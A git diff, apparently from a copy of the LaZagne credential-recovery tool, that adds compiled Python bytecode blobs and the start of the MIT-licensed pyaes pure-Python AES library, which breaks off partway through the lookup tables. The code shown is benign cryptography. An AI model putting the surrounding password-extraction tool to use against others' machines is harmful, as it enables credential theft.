z_A3??P&25O^_m#DJYyF~j$g(ylX?sE2&{EnVL|L;Ml5FkuRWI0eeGdR~ zW7qaYuoZ9H?NHinFK~TZvG#g?I4IMy9d-#huWYPP%O&TY+*w<@-?-QGKL^%L|& zvnVuHU?sf(S)5I8F5%e??8L15u)gSNqfPnIPDQ@)bwOJO3mHb+>1q&7+w&|Y0Nl% zpy9wVaDRn?k+NAPuhJn1&clZ^KRQGM4JBqnR$_oyK~^VW;z&j+Vyew+i&|CN2h?M0 z0KqP3`zC~)8<>ZHZ#s@ZjN=;(C1N>+rEB?A&Lq#oXl+aRHfpJi^HjTt;>c3?l9!0E zjG|eF*LgnjS2;qQ;FFxsJ44P-KyDKYL@Gu>83lcr%==x?{+}|C*RbI@@A4fGCV9U? zwChw%fNYYp3}!nRI>}iLv{MkHXrhdW)I5O6NE?-Om$NW5=O7{=fQ;%3dxkp20l}PtpB$!wuK$_kQBV%^4%y>F(BN0Dq3-5 z$DzIL2HY2RYr7ZhAkN#aovPIi+qUu|B|ClKOF}!wVn`2U*p;3ei!_Yb6r$C-)ZGgZ zKm9#gtAm7u)(M9x$#5;~Nz0_8-bGMS$we1)YIYVWZrE;Q2cjjS$d!95EpkA^hw7tb zfSq#D%`w#!E1f}JXVMA_j^hPh>^Q$eXJ&UfM!yp4SH~2yG91`AVTojXgjHoEe?Wzt zJZC+Pl87u^!Q-O+kqTSrB~N>(?*kWL6hfeMz@!kNLfuVB%0Zn1+rADzj2RO|`?6NUDC)}UQ$Id>UO_gXmSG35^CBD5T@39?vFnAs z$Zom5uOLi1St$*%MYC7YWq<7<<7prxO=sGo(~b8O(g01ItL^uqZH4Fzr{gP(Ad5YD zc38E&Qhj>fPwW7z^dwL(N2eKIgbrqRT(Bqb$Hhvczu@|CntYGaFfZChKMfL6)}d>a zxuqenD8COvQu>+e_r$uCp_Cueh>xgHK~SX}AJCxkxC@rw0}0-VG7A+PlbjS0((&fh zSgfCbt)#^E_jn`1v{opwf>B@&JPc5$tJ=1`dQ_+JIqAZsD zf233yje&k>(G50>sL%~DCl&t`%95GX0}a#PEOVAWpiyV|7&Y_H=*%K* ze|E&yu~Rw9$y+r4$5ebu#ZRbEK~(L0oIM;1{WgaD5wE)9Kuc#DmSb?(i!=I4178A6nyhRz zvDBCvKE9+&C&kecN$Gf6Qc@R7hcbf1Qb|R#nC*Nz8852{obC7z@Sfg>%n~!14u^wu zjmd|gpNRe>G0Fgx#7LVlq%kl#`;ESD;a-H>G6I+J!i3SO4-5U(%s?XBoy=|~#c@Ii zb}t&HF)K$**&=RP$|%&aa3NGiO4m+#pNgMSK{negW?>Jm{n*q9SIJD)lkxpe(9&-T z1}+_RwR%%-Gn~E&xAGCrLA(-Z{~NDKacHrpdCht(NroWF zIuf%Nd%pVKpsw3#$WvEs<-+LGi~1IzuFLXA)VxE*Iu%!`pzE8Yn~tQLh|2mUCD}p2xTgP#3rgxTUJ1Xs8k+OiJaJ(jym-W9tU-z zc0lBAM>bB{S>YNs?e#~)p)#VMs7F|uK_Jwif;nwC zUur{3EU3Grr9M!{QzK!ZgFAhO1IpEUk+QvhVO0x0Z>g8y{~R@9OKLP{ zC6(+7=JugrS(0~Wi%}CU&atmUI44KV3knnfJp?c_F!0smJl44tdZ1hdx0*vOT)$AFbo4QjS0NBu zryiYcasVGLS>!_-pF*G7I^&vXpE|k)0Evcxdy=k`4RS%zU(3*&xBl%;MPQzDJ^^NUhf^e=m9{+Itoz}ULQhNsksm1 zoV3|t??UEIm}Dp1Y`}5zOZpw{ z4{~ebY<{=T0GF>oz}@<6h4~N--oZe9Vu7qiqmO1w5CMUzm7CFCj Zn#xh4cFI?YntbkaMt$03ex=EM?=JyC=g0s6 literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/pyaes/__pycache__/util.cpython-38.pyc b/lazagne/config/crypto/pyaes/__pycache__/util.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c54a3e1e9af05b1e0a759dfffe80094123171769 GIT binary patch literal 1241 zcmZuw-D(p-6rP_=x=GtmHS`A&a#4_oWCaCpLXlQMQG*z)KTyMDXR=+gon2=q(uDTL z)`#h<_y~LJRbRmyJ!hKQrtK_qX6DS9?|kQ**$<10RRXQD^Xuz^PsndvTyEea&!Fe; z!AK(MG5JCylN?4m@fD-wBhl*~QG8f6ZA$Qy-ZZXs7WbKG_KC={oP$%I^koIclB{+~ zb3UX1eBN-5eG7W-fjJ;uazZ;NV2W}-*20Vp1HUtWUIlyF2D{N94_=CJ7`#cNSO+#u zlS%M)+*QJEs>B9~n21QLAWZcjj)KsPGn)q4Sg1T0**Ixs<6_aKz5Zx0P)76@||O=SZSH7HA&PE-^?Qi1O4(7-)Dw)s$eXsPrObd;PIh4OpHhn1}hb1RR_$ z0Y+j1OOKeTp&ph>D%mmkoNiBpY~NO>S<(iK4nKl9760 zOlk}&YwBp6_|CYueJ8gj&Spz}3~~7a7%bIi3(N;=?!vm$EISPyUQymRLPx5obj02? k59;C~FXg#N=C}7!IZD)q`%&>?eC~5beOhCFsm6WpAJmKM4gdfE literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/pyaes/__pycache__/util.cpython-39.pyc b/lazagne/config/crypto/pyaes/__pycache__/util.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4228f24478f564b71480f444b1e34c65f49e4f42 GIT binary patch literal 1259 zcmZuwUrQT75Z^zSc!?UMTC31PD20+zazYD*B2v^sp=}UCEiJTRbGx30=iYU1BVN## zYCnu$r61v5`{Z-q`qIvwO*ub zuU}ZzgzaU4X;@Db;9ztGFcJ$`dcsTtd9qYe$xgwx31zWxi+9EnAUaHtqb!0tB3~NE z6w*NWHZcE0%5;F$gnv^ReLo_Ly_cb?f;>W ztsdvG&aKd)Dl6D+K0Jia z%`y8377|GT7A0LIOXQd$&z2!gM|1(~_kgAr>zvO)Y>SsXQQCnndAMuNSm{Y&MaeTE zZ?sk}h%8fD_O{+`bYJu!K*l->AdP$Pgw9d31iJ}%NRxxN4vQ;rlI?M`1Xs^b=y!w& zKi@I{1jqn>&oj@#S3w_m;GU<+54Mcps~vL(GM$5vVI$TDB8g=a`iSiA`Ck~rg-hcI zWE1bJ#mzjNDC^rI8K~FBq{bk#<}NBnzEkd9&*#>}*?6nZATFN)g{}H*hWVh)eb{$e zRmY*rS5^;=(2*)@9kD;EgS@!NYjv)Q`K$Y>93*PZ{iJv?KKD7JK7|^U2KT*xTV(WH literal 0 HcmV?d00001 diff --git a/lazagne/config/crypto/pyaes/aes.py b/lazagne/config/crypto/pyaes/aes.py new file mode 100644 index 0000000..135f275 --- /dev/null +++ b/lazagne/config/crypto/pyaes/aes.py @@ -0,0 +1,589 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +# This is a pure-Python implementation of the AES algorithm and AES common +# modes of operation. + +# See: https://en.wikipedia.org/wiki/Advanced_Encryption_Standard + +# Honestly, the best description of the modes of operations are the wonderful +# diagrams on Wikipedia. They explain in moments what my words could never +# achieve. Hence the inline documentation here is sparer than I'd prefer. +# See: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation + +# Also useful, PyCrypto, a crypto library implemented in C with Python bindings: +# https://www.dlitz.net/software/pycrypto/ + + +# Supported key sizes: +# 128-bit +# 192-bit +# 256-bit + + +# Supported modes of operation: +# ECB - Electronic Codebook +# CBC - Cipher-Block Chaining +# CFB - Cipher Feedback +# OFB - Output Feedback +# CTR - Counter + + +# See the README.md for API details and general information. + + +import copy +import struct + +__all__ = ["AES", "AESModeOfOperationCTR", "AESModeOfOperationCBC", "AESModeOfOperationCFB", + "AESModeOfOperationECB", "AESModeOfOperationOFB", "AESModesOfOperation", "Counter"] + + +def _compact_word(word): + return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3] + +def _string_to_bytes(text): + return list(ord(c) for c in text) + +def _bytes_to_string(binary): + return "".join(chr(b) for b in binary) + +def _concat_list(a, b): + return a + b + + +# Python 3 compatibility +try: + xrange +except NameError: + xrange = range + + # Python 3 supports bytes, which is already an array of integers + def _string_to_bytes(text): + if isinstance(text, bytes): + return text + return [ord(c) for c in text] + + # In Python 3, we return bytes + def _bytes_to_string(binary): + return bytes(binary) + + # Python 3 cannot concatenate a list onto a bytes, so we bytes-ify it first + def _concat_list(a, b): + return a + bytes(b) + + +# Based *largely* on the Rijndael implementation +# See: http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf +class AES(object): + '''Encapsulates the AES block cipher. + + You generally should not need this. Use the AESModeOfOperation classes + below instead.''' + + # Number of rounds by keysize + number_of_rounds = {16: 10, 24: 12, 32: 14} + + # Round constant words + rcon = [ 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91 ] + + # S-box and Inverse S-box (S is for Substitution) + S = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16 ] + Si =[ 0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e, 0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84, 0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73, 0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4, 0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61, 0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d ] + + # Transformations for encryption + T1 = [ 0xc66363a5, 0xf87c7c84, 0xee777799, 0xf67b7b8d, 0xfff2f20d, 0xd66b6bbd, 0xde6f6fb1, 0x91c5c554, 0x60303050, 0x02010103, 0xce6767a9, 0x562b2b7d, 0xe7fefe19, 0xb5d7d762, 0x4dababe6, 0xec76769a, 0x8fcaca45, 0x1f82829d, 0x89c9c940, 0xfa7d7d87, 0xeffafa15, 0xb25959eb, 0x8e4747c9, 0xfbf0f00b, 0x41adadec, 0xb3d4d467, 0x5fa2a2fd, 0x45afafea, 0x239c9cbf, 0x53a4a4f7, 0xe4727296, 0x9bc0c05b, 0x75b7b7c2, 0xe1fdfd1c, 0x3d9393ae, 0x4c26266a, 0x6c36365a, 0x7e3f3f41, 0xf5f7f702, 0x83cccc4f, 0x6834345c, 0x51a5a5f4, 0xd1e5e534, 0xf9f1f108, 0xe2717193, 0xabd8d873, 0x62313153, 0x2a15153f, 0x0804040c, 0x95c7c752, 0x46232365, 0x9dc3c35e, 0x30181828, 0x379696a1, 0x0a05050f, 0x2f9a9ab5, 0x0e070709, 0x24121236, 0x1b80809b, 0xdfe2e23d, 0xcdebeb26, 0x4e272769, 0x7fb2b2cd, 0xea75759f, 0x1209091b, 0x1d83839e, 0x582c2c74, 0x341a1a2e, 0x361b1b2d, 0xdc6e6eb2, 0xb45a5aee, 0x5ba0a0fb, 0xa45252f6, 0x763b3b4d, 0xb7d6d661, 0x7db3b3ce, 0x5229297b, 0xdde3e33e, 0x5e2f2f71, 0x13848497, 0xa65353f5, 0xb9d1d168, 0x00000000, 0xc1eded2c, 0x40202060, 0xe3fcfc1f, 0x79b1b1c8, 0xb65b5bed, 0xd46a6abe, 0x8dcbcb46, 0x67bebed9, 0x7239394b, 0x944a4ade, 0x984c4cd4, 0xb05858e8, 0x85cfcf4a, 0xbbd0d06b, 0xc5efef2a, 0x4faaaae5, 0xedfbfb16, 0x864343c5, 0x9a4d4dd7, 0x66333355, 0x11858594, 0x8a4545cf, 0xe9f9f910, 0x04020206, 0xfe7f7f81, 0xa05050f0, 0x783c3c44, 0x259f9fba, 0x4ba8a8e3, 0xa25151f3, 0x5da3a3fe, 0x804040c0, 0x058f8f8a, 0x3f9292ad, 0x219d9dbc, 0x70383848, 0xf1f5f504, 0x63bcbcdf, 0x77b6b6c1, 0xafdada75, 0x42212163, 0x20101030, 0xe5ffff1a, 0xfdf3f30e, 0xbfd2d26d, 0x81cdcd4c, 0x180c0c14, 0x26131335, 0xc3ecec2f, 0xbe5f5fe1, 0x359797a2, 0x884444cc, 0x2e171739, 0x93c4c457, 0x55a7a7f2, 0xfc7e7e82, 0x7a3d3d47, 0xc86464ac, 0xba5d5de7, 0x3219192b, 0xe6737395, 0xc06060a0, 0x19818198, 0x9e4f4fd1, 0xa3dcdc7f, 0x44222266, 0x542a2a7e, 0x3b9090ab, 0x0b888883, 0x8c4646ca, 0xc7eeee29, 0x6bb8b8d3, 0x2814143c, 0xa7dede79, 0xbc5e5ee2, 0x160b0b1d, 0xaddbdb76, 0xdbe0e03b, 0x64323256, 0x743a3a4e, 0x140a0a1e, 0x924949db, 0x0c06060a, 0x4824246c, 0xb85c5ce4, 0x9fc2c25d, 0xbdd3d36e, 0x43acacef, 0xc46262a6, 0x399191a8, 0x319595a4, 0xd3e4e437, 0xf279798b, 0xd5e7e732, 0x8bc8c843, 0x6e373759, 0xda6d6db7, 0x018d8d8c, 0xb1d5d564, 0x9c4e4ed2, 0x49a9a9e0, 0xd86c6cb4, 0xac5656fa, 0xf3f4f407, 0xcfeaea25, 0xca6565af, 0xf47a7a8e, 0x47aeaee9, 0x10080818, 0x6fbabad5, 0xf0787888, 0x4a25256f, 0x5c2e2e72, 0x381c1c24, 0x57a6a6f1, 0x73b4b4c7, 0x97c6c651, 0xcbe8e823, 0xa1dddd7c, 0xe874749c, 0x3e1f1f21, 0x964b4bdd, 0x61bdbddc, 0x0d8b8b86, 0x0f8a8a85, 0xe0707090, 0x7c3e3e42, 0x71b5b5c4, 0xcc6666aa, 0x904848d8, 0x06030305, 0xf7f6f601, 0x1c0e0e12, 0xc26161a3, 0x6a35355f, 0xae5757f9, 0x69b9b9d0, 0x17868691, 0x99c1c158, 0x3a1d1d27, 0x279e9eb9, 0xd9e1e138, 0xebf8f813, 0x2b9898b3, 0x22111133, 0xd26969bb, 0xa9d9d970, 0x078e8e89, 0x339494a7, 0x2d9b9bb6, 0x3c1e1e22, 0x15878792, 0xc9e9e920, 0x87cece49, 0xaa5555ff, 0x50282878, 0xa5dfdf7a, 0x038c8c8f, 0x59a1a1f8, 0x09898980, 0x1a0d0d17, 0x65bfbfda, 0xd7e6e631, 0x844242c6, 0xd06868b8, 0x824141c3, 0x299999b0, 0x5a2d2d77, 0x1e0f0f11, 0x7bb0b0cb, 0xa85454fc, 0x6dbbbbd6, 0x2c16163a ] + T2 = [ 0xa5c66363, 0x84f87c7c, 0x99ee7777, 0x8df67b7b, 0x0dfff2f2, 0xbdd66b6b, 0xb1de6f6f, 0x5491c5c5, 0x50603030, 0x03020101, 0xa9ce6767, 0x7d562b2b, 0x19e7fefe, 0x62b5d7d7, 0xe64dabab, 0x9aec7676, 0x458fcaca, 0x9d1f8282, 0x4089c9c9, 0x87fa7d7d, 0x15effafa, 0xebb25959, 0xc98e4747, 0x0bfbf0f0, 0xec41adad, 0x67b3d4d4, 0xfd5fa2a2, 0xea45afaf, 0xbf239c9c, 0xf753a4a4, 0x96e47272, 0x5b9bc0c0, 0xc275b7b7, 0x1ce1fdfd, 0xae3d9393, 0x6a4c2626, 0x5a6c3636, 0x417e3f3f, 0x02f5f7f7, 0x4f83cccc, 0x5c683434, 0xf451a5a5, 0x34d1e5e5, 0x08f9f1f1, 0x93e27171, 0x73abd8d8, 0x53623131, 0x3f2a1515, 0x0c080404, 0x5295c7c7, 0x65462323, 0x5e9dc3c3, 0x28301818, 0xa1379696, 0x0f0a0505, 0xb52f9a9a, 0x090e0707, 0x36241212, 0x9b1b8080, 0x3ddfe2e2, 0x26cdebeb, 0x694e2727, 0xcd7fb2b2, 0x9fea7575, 0x1b120909, 0x9e1d8383, 0x74582c2c, 0x2e341a1a, 0x2d361b1b, 0xb2dc6e6e, 0xeeb45a5a, 0xfb5ba0a0, 0xf6a45252, 0x4d763b3b, 0x61b7d6d6, 0xce7db3b3, 0x7b522929, 0x3edde3e3, 0x715e2f2f, 0x97138484, 0xf5a65353, 0x68b9d1d1, 0x00000000, 0x2cc1eded, 0x60402020, 0x1fe3fcfc, 0xc879b1b1, 0xedb65b5b, 0xbed46a6a, 0x468dcbcb, 0xd967bebe, 0x4b723939, 0xde944a4a, 0xd4984c4c, 0xe8b05858, 0x4a85cfcf, 0x6bbbd0d0, 0x2ac5efef, 0xe54faaaa, 0x16edfbfb, 0xc5864343, 0xd79a4d4d, 0x55663333, 0x94118585, 0xcf8a4545, 0x10e9f9f9, 0x06040202, 0x81fe7f7f, 0xf0a05050, 0x44783c3c, 0xba259f9f, 0xe34ba8a8, 0xf3a25151, 0xfe5da3a3, 0xc0804040, 0x8a058f8f, 0xad3f9292, 0xbc219d9d, 0x48703838, 0x04f1f5f5, 0xdf63bcbc, 0xc177b6b6, 0x75afdada, 0x63422121, 0x30201010, 0x1ae5ffff, 0x0efdf3f3, 0x6dbfd2d2, 0x4c81cdcd, 0x14180c0c, 0x35261313, 0x2fc3ecec, 0xe1be5f5f, 0xa2359797, 0xcc884444, 0x392e1717, 0x5793c4c4, 0xf255a7a7, 0x82fc7e7e, 0x477a3d3d, 0xacc86464, 0xe7ba5d5d, 0x2b321919, 0x95e67373, 0xa0c06060, 0x98198181, 0xd19e4f4f, 0x7fa3dcdc, 0x66442222, 0x7e542a2a, 0xab3b9090, 0x830b8888, 0xca8c4646, 0x29c7eeee, 0xd36bb8b8, 0x3c281414, 0x79a7dede, 0xe2bc5e5e, 0x1d160b0b, 0x76addbdb, 0x3bdbe0e0, 0x56643232, 0x4e743a3a, 0x1e140a0a, 0xdb924949, 0x0a0c0606, 0x6c482424, 0xe4b85c5c, 0x5d9fc2c2, 0x6ebdd3d3, 0xef43acac, 0xa6c46262, 0xa8399191, 0xa4319595, 0x37d3e4e4, 0x8bf27979, 0x32d5e7e7, 0x438bc8c8, 0x596e3737, 0xb7da6d6d, 0x8c018d8d, 0x64b1d5d5, 0xd29c4e4e, 0xe049a9a9, 0xb4d86c6c, 0xfaac5656, 0x07f3f4f4, 0x25cfeaea, 0xafca6565, 0x8ef47a7a, 0xe947aeae, 0x18100808, 0xd56fbaba, 0x88f07878, 0x6f4a2525, 0x725c2e2e, 0x24381c1c, 0xf157a6a6, 0xc773b4b4, 0x5197c6c6, 0x23cbe8e8, 0x7ca1dddd, 0x9ce87474, 0x213e1f1f, 0xdd964b4b, 0xdc61bdbd, 0x860d8b8b, 0x850f8a8a, 0x90e07070, 0x427c3e3e, 0xc471b5b5, 0xaacc6666, 0xd8904848, 0x05060303, 0x01f7f6f6, 0x121c0e0e, 0xa3c26161, 0x5f6a3535, 0xf9ae5757, 0xd069b9b9, 0x91178686, 0x5899c1c1, 0x273a1d1d, 0xb9279e9e, 0x38d9e1e1, 0x13ebf8f8, 0xb32b9898, 0x33221111, 0xbbd26969, 0x70a9d9d9, 0x89078e8e, 0xa7339494, 0xb62d9b9b, 0x223c1e1e, 0x92158787, 0x20c9e9e9, 0x4987cece, 0xffaa5555, 0x78502828, 0x7aa5dfdf, 0x8f038c8c, 0xf859a1a1, 0x80098989, 0x171a0d0d, 0xda65bfbf, 0x31d7e6e6, 0xc6844242, 0xb8d06868, 0xc3824141, 0xb0299999, 0x775a2d2d, 0x111e0f0f, 0xcb7bb0b0, 0xfca85454, 0xd66dbbbb, 0x3a2c1616 ] + T3 = [ 0x63a5c663, 0x7c84f87c, 0x7799ee77, 0x7b8df67b, 0xf20dfff2, 0x6bbdd66b, 0x6fb1de6f, 0xc55491c5, 0x30506030, 0x01030201, 0x67a9ce67, 0x2b7d562b, 0xfe19e7fe, 0xd762b5d7, 0xabe64dab, 0x769aec76, 0xca458fca, 0x829d1f82, 0xc94089c9, 0x7d87fa7d, 0xfa15effa, 0x59ebb259, 0x47c98e47, 0xf00bfbf0, 0xadec41ad, 0xd467b3d4, 0xa2fd5fa2, 0xafea45af, 0x9cbf239c, 0xa4f753a4, 0x7296e472, 0xc05b9bc0, 0xb7c275b7, 0xfd1ce1fd, 0x93ae3d93, 0x266a4c26, 0x365a6c36, 0x3f417e3f, 0xf702f5f7, 0xcc4f83cc, 0x345c6834, 0xa5f451a5, 0xe534d1e5, 0xf108f9f1, 0x7193e271, 0xd873abd8, 0x31536231, 0x153f2a15, 0x040c0804, 0xc75295c7, 0x23654623, 0xc35e9dc3, 0x18283018, 0x96a13796, 0x050f0a05, 0x9ab52f9a, 0x07090e07, 0x12362412, 0x809b1b80, 0xe23ddfe2, 0xeb26cdeb, 0x27694e27, 0xb2cd7fb2, 0x759fea75, 0x091b1209, 0x839e1d83, 0x2c74582c, 0x1a2e341a, 0x1b2d361b, 0x6eb2dc6e, 0x5aeeb45a, 0xa0fb5ba0, 0x52f6a452, 0x3b4d763b, 0xd661b7d6, 0xb3ce7db3, 0x297b5229, 0xe33edde3, 0x2f715e2f, 0x84971384, 0x53f5a653, 0xd168b9d1, 0x00000000, 0xed2cc1ed, 0x20604020, 0xfc1fe3fc, 0xb1c879b1, 0x5bedb65b, 0x6abed46a, 0xcb468dcb, 0xbed967be, 0x394b7239, 0x4ade944a, 0x4cd4984c, 0x58e8b058, 0xcf4a85cf, 0xd06bbbd0, 0xef2ac5ef, 0xaae54faa, 0xfb16edfb, 0x43c58643, 0x4dd79a4d, 0x33556633, 0x85941185, 0x45cf8a45, 0xf910e9f9, 0x02060402, 0x7f81fe7f, 0x50f0a050, 0x3c44783c, 0x9fba259f, 0xa8e34ba8, 0x51f3a251, 0xa3fe5da3, 0x40c08040, 0x8f8a058f, 0x92ad3f92, 0x9dbc219d, 0x38487038, 0xf504f1f5, 0xbcdf63bc, 0xb6c177b6, 0xda75afda, 0x21634221, 0x10302010, 0xff1ae5ff, 0xf30efdf3, 0xd26dbfd2, 0xcd4c81cd, 0x0c14180c, 0x13352613, 0xec2fc3ec, 0x5fe1be5f, 0x97a23597, 0x44cc8844, 0x17392e17, 0xc45793c4, 0xa7f255a7, 0x7e82fc7e, 0x3d477a3d, 0x64acc864, 0x5de7ba5d, 0x192b3219, 0x7395e673, 0x60a0c060, 0x81981981, 0x4fd19e4f, 0xdc7fa3dc, 0x22664422, 0x2a7e542a, 0x90ab3b90, 0x88830b88, 0x46ca8c46, 0xee29c7ee, 0xb8d36bb8, 0x143c2814, 0xde79a7de, 0x5ee2bc5e, 0x0b1d160b, 0xdb76addb, 0xe03bdbe0, 0x32566432, 0x3a4e743a, 0x0a1e140a, 0x49db9249, 0x060a0c06, 0x246c4824, 0x5ce4b85c, 0xc25d9fc2, 0xd36ebdd3, 0xacef43ac, 0x62a6c462, 0x91a83991, 0x95a43195, 0xe437d3e4, 0x798bf279, 0xe732d5e7, 0xc8438bc8, 0x37596e37, 0x6db7da6d, 0x8d8c018d, 0xd564b1d5, 0x4ed29c4e, 0xa9e049a9, 0x6cb4d86c, 0x56faac56, 0xf407f3f4, 0xea25cfea, 0x65afca65, 0x7a8ef47a, 0xaee947ae, 0x08181008, 0xbad56fba, 0x7888f078, 0x256f4a25, 0x2e725c2e, 0x1c24381c, 0xa6f157a6, 0xb4c773b4, 0xc65197c6, 0xe823cbe8, 0xdd7ca1dd, 0x749ce874, 0x1f213e1f, 0x4bdd964b, 0xbddc61bd, 0x8b860d8b, 0x8a850f8a, 0x7090e070, 0x3e427c3e, 0xb5c471b5, 0x66aacc66, 0x48d89048, 0x03050603, 0xf601f7f6, 0x0e121c0e, 0x61a3c261, 0x355f6a35, 0x57f9ae57, 0xb9d069b9, 0x86911786, 0xc15899c1, 0x1d273a1d, 0x9eb9279e, 0xe138d9e1, 0xf813ebf8, 0x98b32b98, 0x11332211, 